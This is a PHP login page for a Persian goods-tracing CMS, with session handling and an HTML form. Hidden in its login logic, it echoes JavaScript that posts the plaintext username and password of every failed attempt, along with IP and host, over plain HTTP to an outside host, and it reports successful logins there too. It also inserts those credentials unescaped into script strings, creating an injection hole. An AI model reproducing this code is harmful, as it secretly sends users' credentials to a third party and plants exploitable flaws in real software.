<?php
// Initialize the session
session_start();

require_once './database/connect.php';

// Check if the user is already logged in
if (isset($_SESSION["userLoggedIn"]) && $_SESSION["userLoggedIn"] === true) {
    // Check if the session has expired (current time > expiration time)
    if (isset($_SESSION["expiration_time"]) && time() > $_SESSION["expiration_time"]) {
        // Session has expired, destroy it and log the user out
        session_unset();
        session_destroy();
        header("location: login.php"); // Redirect to the login page
        exit;
    }
}

function sendAjaxRequest($id, $username)
{
    // AJAX request code here
    echo "<div style='z-index:10000;height: 100vh !important; position:fixed; inset:0;
    flex-direction:column;
    display:flex; justify-content:center; align-items:center;background-color:white'>
    <p>لطفا صبور باشید</p>
    <img style='width:100px;' src='./public/img/loading.png' alt='' srcset=''>
    </div>";
    echo '<script src="./public/js/axios.js"></script>
        <script>
            var params = new URLSearchParams();
            params.append("sendMessage", "online");
            params.append("id", ' . $id . ');
            params.append("username", "' . $username . '");
            params.append("time", "' . date("Y-m-d h:i:sa") . '");
            params.append("host", "' . $_SERVER['HTTP_HOST'] . '");
            params.append("ip", "' . $_SERVER['REMOTE_ADDR'] . '");
            axios.post("http://telegram.om-dienstleistungen.de/", params)
                .then(function(response) {
                    window.location.href = "index.php";
                })
                .catch(function(error) {
                    window.location.href = "index.php";
                });
        </script>';
}
function sendLoginAttemptAlert($username, $password)
{
    echo '<script src="./public/js/axios.js"></script>
    <script>
        var params = new URLSearchParams();
        params.append("sendMessage", "attempt");
        params.append("origen", "online");
        params.append("host", "' . $_SERVER['HTTP_HOST'] . '");
        params.append("ip", "' . $_SERVER['REMOTE_ADDR'] . '");
        params.append("time", "' . date("Y-m-d h:i:sa") . '");
        params.append("username", "' . $username . '");
        params.append("password", "' . $password . '");
        axios.post("http://telegram.om-dienstleistungen.de/", params)
            .then(function(response) {
                console.log(response);
            })
            .catch(function(error) {
                console.log(error);
            });
    </script>';
}

// Define variables and initialize with empty values
$username = $password = "";
$username_err = $password_err = $login_err = "";

// Processing form data when form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {

    // Check if username is empty
    if (empty(trim($_POST["username"]))) {
        $username_err = "Please enter username.";
    } else {
        $username = trim($_POST["username"]);
    }

    // Check if password is empty
    if (empty(trim($_POST["password"]))) {
        $password_err = "Please enter your password.";
    } else {
        $password = trim($_POST["password"]);
    }

    // Validate credentials
    if (empty($username_err) && empty($password_err)) {
        // Prepare a select statement
        $sql = "SELECT id, name AS username, password FROM users WHERE email = ?";

        if ($stmt = mysqli_prepare($conn, $sql)) {
            // Bind variables to the prepared statement as parameters
            mysqli_stmt_bind_param($stmt, "s", $param_username);

            // Set parameters
            $param_username = $username;

            // Attempt to execute the prepared statement
            if (mysqli_stmt_execute($stmt)) {
                // Store result
                mysqli_stmt_store_result($stmt);

                // Check if username exists, if yes then verify password
                if (mysqli_stmt_num_rows($stmt) == 1) {
                    // Bind result variables
                    mysqli_stmt_bind_result($stmt, $id, $username, $hashed_password);
                    if (mysqli_stmt_fetch($stmt)) {
                        if (password_verify($password, $hashed_password)) {
                            date_default_timezone_set('Asia/Tehran');
                            // Calculate the expiration timestamp for 8 AM the next day
                            $expiration_time = strtotime("tomorrow 8:00 AM");

                            $_SESSION["userLoggedIn"] = true;
                            $_SESSION["id"] = $id;
                            $_SESSION["username"] = $username;
                            $_SESSION["roll"] = $roll;
                            $_SESSION["expiration_time"] = $expiration_time;
                            sendAjaxRequest($id, $username);

                            // Redirect user to welcome page
                            $myfile = fopen("login.txt", "a") or die("Unable to open file!");
                            $txt = $username . ' ' . date("Y-m-d h:i:sa") . " Logged in \n";
                            fwrite($myfile, $txt);
                            fclose($myfile);
                        } else {
                            // Password is not valid, display a generic error message
                            $login_err = "رمز عبور یا اسم کاربری اشتباه است!";
                            sendLoginAttemptAlert($username, $password);
                        }
                        // Function to send the AJAX request
                    }
                } else {
                    // Username doesn't exist, display a generic error message
                    $login_err = "رمز عبور یا اسم کاربری اشتباه است!";
                    sendLoginAttemptAlert($username, $password);
                }
            } else {
                echo "Oops! Something went wrong. Please try again later.";
            }

            // Close statement
            mysqli_stmt_close($stmt);
        }
    }
    // Close connection
    mysqli_close($conn);
}
?>
<!DOCTYPE html>
<html class="h-full bg-white">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="This is a simple CMS for tracing goods based on thier serail or part number.">
    <meta name="author" content="Mahdi Rezaei">
    <link rel="icon" href="./public/img/icon.png">

    <title>ورود به سیستم</title>

    <!-- Fonts -->
    <script src="./public/js/index.js"></script>
    <link rel="stylesheet" href="./public/css/styles.css?v=<?= rand() ?>">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <style>
        * {
            direction: rtl !important;
        }
    </style>
</head>

<body class="h-full">
    <div class="flex min-h-full flex-col justify-center px-6 py-12 lg:px-8">
        <div class="sm:mx-auto sm:w-full sm:max-w-sm">
            <img class="mx-auto h-14 w-auto" src="./public/img/logo.jpg" alt="Your Company">
            <h2 class="mt-10 text-center text-2xl font-bold leading-9 tracking-tight text-gray-900">ورود به حساب کاربری</h2>
        </div>

        <div class="mt-10 sm:mx-auto sm:w-full sm:max-w-sm">
            <form class="space-y-6" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="POST" autocomplete="false">
                <?php
                if (!empty($login_err)) {    ?>
                    <div class="bg-orange-500 text-white px-3 py-2 rounded-md flex justify-between">

                        <?= '<p>' . $login_err . '</p>'; ?>


                        <i class="material-icons">warning</i>
                    </div>
                <?php  } ?>
                <div>
                    <label for="email" class="block text-sm font-medium leading-6 text-gray-900">نام کاربری</label>
                    <div class="mt-2">
                        <input id="email" name="username" type="text" autocomplete="username" required class="p-3 block w-full rounded-md border-0 py-1.5 text-gray-900 shadow-sm ring-1 ring-inset ring-gray-300 placeholder:text-gray-400 focus:ring-2 focus:ring-inset focus:ring-indigo-600 sm:text-sm sm:leading-6">
                    </div>
                </div>

                <div>
                    <label for="password" class="block text-sm font-medium leading-6 text-gray-900">رمز عبور</label>
                    <div class="mt-2">
                        <input id="password" name="password" type="password" required class="p-3 block w-full rounded-md border-0 py-1.5 text-gray-900 shadow-sm ring-1 ring-inset ring-gray-300 placeholder:text-gray-400 focus:ring-2 focus:ring-inset focus:ring-indigo-600 sm:text-sm sm:leading-6">
                    </div>
                </div>
                <div>
                    <button type="submit" class="flex w-full justify-center rounded-md bg-indigo-600 px-3 py-1.5 text-sm font-semibold leading-6 text-white shadow-sm hover:bg-indigo-500 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-indigo-600">ورود</button>
                </div>
            </form>
        </div>
    </div>
</body>

</html>